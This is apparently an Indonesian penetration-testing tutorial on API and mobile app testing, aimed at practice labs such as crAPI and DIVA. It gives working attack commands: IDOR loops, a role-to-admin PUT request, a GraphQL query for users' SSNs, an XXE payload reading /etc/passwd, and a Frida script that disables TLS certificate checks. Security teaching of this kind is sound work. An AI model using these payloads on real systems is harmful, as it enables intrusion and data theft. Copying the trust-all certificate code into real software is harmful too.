Belajar Penetration Tester - API & Mobile Pentesting

#Pendahuluan

Setelah di episode 12 kita mempelajari web app security lanjutan — logic flaws, auth bypass, dan deserialization — pada episode ini kita spesialisasi ke dua domain: API pentesting dan mobile application pentesting. Di era mobile-first, API menjadi backend untuk semua aplikasi, dan mobile apps seringkali memiliki attack surface yang unik karena berjalan di device yang tidak sepenuhnya dikontrol developer.

API pentesting membutuhkan pemahaman tentang REST, GraphQL, dan SOAP beserta fitur keamanannya. Mobile pentesting membutuhkan pemahaman tentang bagaimana aplikasi mobile berinteraksi dengan backend, menyimpan data, dan menangani autentikasi.

#API Pentesting

#REST API Testing

REST API menggunakan HTTP methods (GET, POST, PUT, DELETE) dengan JSON payload. Vulnerability utama mirip web app tetapi dengan fokus pada endpoint:

bash

# Enumeration endpoint
gobuster dir -u http://target.com/api/ -w api-endpoints.txt -x json
 
# BOLA testing
for i in $(seq 1 100); do
  curl -s http://target.com/api/users/$i \
    -H "Authorization: Bearer $TOKEN" | jq .
done
 
# IDOR via PUT
curl -X PUT http://target.com/api/users/123 \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role": "admin"}'

#GraphQL Pentesting

GraphQL memiliki endpoint tunggal (/graphql) dan menggunakan query language:

bash

# Introspection
curl -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind } } }"}'
 
# BOLA via GraphQL
curl -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: 124) { email phone ssn } }"}'
 
# Batch query attack
curl -X POST http://target.com/graphql \
  -d '{"query":"[...]"}'  # Query batching untuk bypass rate limiting

#SOAP API

bash

# WSDL enumeration
curl http://target.com/api?wsdl
 
# XML injection
curl -X POST http://target.com/api \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'

#Mobile Application Pentesting

#Android Pentesting

bash

# Decompile APK
apktool d target.apk
 
# Decompile dengan jadx (readable Java)
jadx -d output target.apk
 
# Cari hardcoded secrets
grep -r "API_KEY\|SECRET\|PASSWORD" output/
 
# Cek network security config
cat output/res/xml/network_security_config.xml

#Frida — Dynamic Instrumentation

Frida adalah tool untuk runtime instrumentation — memodifikasi aplikasi saat berjalan:

bash

# Install Frida
pip3 install frida-tools frida
 
# Bypass SSL pinning
frida -U -f com.target.app -l bypass_ssl.js
 
# Contoh bypass script (bypass_ssl.js)
Java.perform(function() {
    var TrustManager = Java.registerClass({
        name: 'com.bypass.TrustManager',
        implements: [Java.use('javax.net.ssl.X509TrustManager')],
        methods: {
            checkClientTrusted: function(chain, authType) {},
            checkServerTrusted: function(chain, authType) {},
            getAcceptedIssuers: function() { return []; }
        }
    });
    var SSLContext = Java.use('javax.net.ssl.SSLContext');
    var ctx = SSLContext.getInstance('TLS');
    ctx.init(null, [TrustManager.$new()], null);
});

#Objection — Mobile Security Framework

bash

# Install Objection
pip3 install objection
 
# Replicate application
objection explore
 
# Bypass SSL pinning
objection --gadget "com.target.app" sslpinning disable
 
# Monitor activities
objection --gadget "com.target.app" android hooking list activities

Tip

Untuk mobile pentesting, kalian membutuhkan perangkat fisik atau emulator dengan root access. Android emulator lebih mudah untuk rooting dibanding iOS. Untuk iOS, gunakan jailbroken device atau checkra1n.

#API Security Checklist

text

API Security Testing
======================
[ ] Authentication: API keys, OAuth, JWT validation
[ ] Authorization: BOLA, IDOR, broken function level
[ ] Input validation: injection, mass assignment
[ ] Rate limiting: absence or bypass
[ ] Error handling: information leakage
[ ] CORS: misconfiguration
[ ] Versioning: deprecated endpoints accessible
[ ] Documentation: exposed API docs

#Praktik: API & Mobile Lab

#API Lab

Gunakan crAPI (Completely Ridiculous API) dari OWASP:

bash

docker run -d -p 80:80 crapi/crapi

#Mobile Lab

Gunakan DVWA Mobile atau Diva (Damn Insecure and Vulnerable App):

bash

# Download Diva APK
# https://github.com/payatu/diva-android
# Install di emulator Android
adb install diva-android.apk

#Penutup

Inti yang harus dibawa pulang:

REST API: BOLA, IDOR, mass assignment, rate limiting bypass.
GraphQL: introspection, batching attacks, hidden fields.
SOAP: XXE injection, WSDL enumeration.
Android: APK decompilation, hardcoded secrets, network config.
Frida: SSL pinning bypass, runtime instrumentation, memory manipulation.

Di episode 14 selanjutnya, kita akan mempelajari cloud pentesting — mengeksploitasi misconfiguration di AWS, Azure, dan GCP, IAM attacks, dan cloud privilege escalation.